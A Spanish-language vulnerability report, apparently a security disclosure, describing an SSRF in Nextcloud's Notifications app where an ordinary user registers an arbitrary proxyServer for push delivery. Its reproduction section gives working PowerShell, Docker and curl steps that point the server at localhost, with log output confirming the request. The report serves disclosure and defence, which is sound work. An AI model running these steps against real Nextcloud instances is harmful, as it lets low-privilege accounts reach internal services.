Resumen
La aplicación Notifications de Nextcloud (versión 5.0.0 en las pruebas) deja que los clientes registren un dispositivo para recibir avisos push a través del endpoint OCS POST /ocs/v2.php/apps/notifications/api/v2/push. Entre los datos que envía el cliente está el servidor proxy encargado de entregar esas notificaciones, en el parámetro proxyServer.
El fallo está en que ese valor lo elige el usuario. La ruta del controlador que recibe el registro (lib/Controller/PushController.php) es NoAdminRequired, así que cualquier cuenta normal puede registrar el proxy que quiera. Más tarde, cuando se dispara una notificación para ese usuario, el backend ejecuta por su cuenta una petición POST contra {proxyServer}/notifications (en lib/Push.php, dentro de sendNotificationsToProxies()).
El resultado es un Server-Side Request Forgery (SSRF): el atacante consigue que el propio servidor de Nextcloud emita peticiones salientes hacia un destino que él elige, incluidos servicios internos o localhost.
Pasos de reproducción
El investigador lo reprodujo en una instancia de pruebas en Docker (contenedor nextcloud-new) con un usuario normal llamado yoyo, lanzando las órdenes desde PowerShell.
- Definir la dirección de la instancia y el usuario:
$base='http://192.168.51.102:8082'
$u='yoyo'
- Crear una contraseña de aplicación para
yoyo(copiar el valor que aparece tras "app password:"):
docker exec -u www-data nextcloud-new php occ user:auth-tokens:add yoyo --no-interaction
- Asegurarse de que el usuario no esté en modo "No molestar" (con DND activo el push puede omitirse):
docker exec nextcloud-new sqlite3 /var/www/html/data/owncloud.db "update oc_user_status set status='online', is_user_defined=1 where user_id='yoyo';"
- Crear un fichero con una clave pública de ejemplo:
$keyFile = Join-Path $env:TEMP 'nc_push_pub.pem'
$pem = @'
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Or1KumSDfk8dT0MuCW9
WS5wkVOpNsbz2OIJFBYrBvu6joC2iQo9StONMaXoTQj5Ucak9UBtC60PHyTkIDFb
HOpCST5onmIAtZdqHN/3ABOBeHVU/notdRIl/menGM64jiqGWvE06F1+yZ8GGcGQ
8RKzabqMd2K1iUohXP625uzTABVaiwz3u8nGEwui5R6Pf5Fy6DccuqdUMtJIfW21
Z4Tj48Tw+pR+fUrGpa1Wg+wiwlg7ISK8Symml1Rd6hSRXK2t8Opm/kjH9ZX8oVwn
RSO1ehjzRpTY+gdw/5gvwMZI0XmrIanZmZHwePRR4HC6FLPrL2OQG3gWikDIPyTS
hQIDAQAB
-----END PUBLIC KEY-----
'@
Set-Content -Path $keyFile -Value $pem -NoNewline -Encoding ascii
- Registrar un dispositivo push con un
proxyServercontrolado por el usuario, sustituyendoAPP_PASSpor la contraseña de aplicación del paso 2:
$appPass='APP_PASS'
$pushHash=('a'*128)
curl.exe -i -s -u "$u`:$appPass" `
-H "OCS-APIRequest: true" `
-H "Accept: application/json" `
--data-urlencode "pushTokenHash=$pushHash" `
--data-urlencode "devicePublicKey@$keyFile" `
--data-urlencode "proxyServer=http://localhost/" `
"$base/ocs/v2.php/apps/notifications/api/v2/push?format=json"
El registro responde con HTTP/1.1 201 Created.
- Disparar una notificación push para ese usuario:
docker exec -u www-data nextcloud-new php occ notification:test-push yoyo --files -vvv
- Buscar en los registros la petición saliente del backend:
docker logs --since 5m nextcloud-new 2>&1 | Select-String "POST /notifications|Nextcloud Server Crawler|api/v2.php/apps/notifications/api/v2/push"
Aparece una línea como esta:
127.0.0.1 - - [...] "POST /notifications HTTP/1.1" ... "Nextcloud Server Crawler"
La petición sale de 127.0.0.1, va contra /notifications y lleva el user-agent Nextcloud Server Crawler: es el propio backend quien la emite hacia el destino elegido por el usuario.
Impacto
Un usuario autenticado con privilegios bajos puede obligar al servidor a enviar peticiones HTTP POST a destinos que él decide, incluidos localhost y otros servicios internos. Es una primitiva de SSRF que permite llegar a la red interna desde una cuenta de usuario corriente.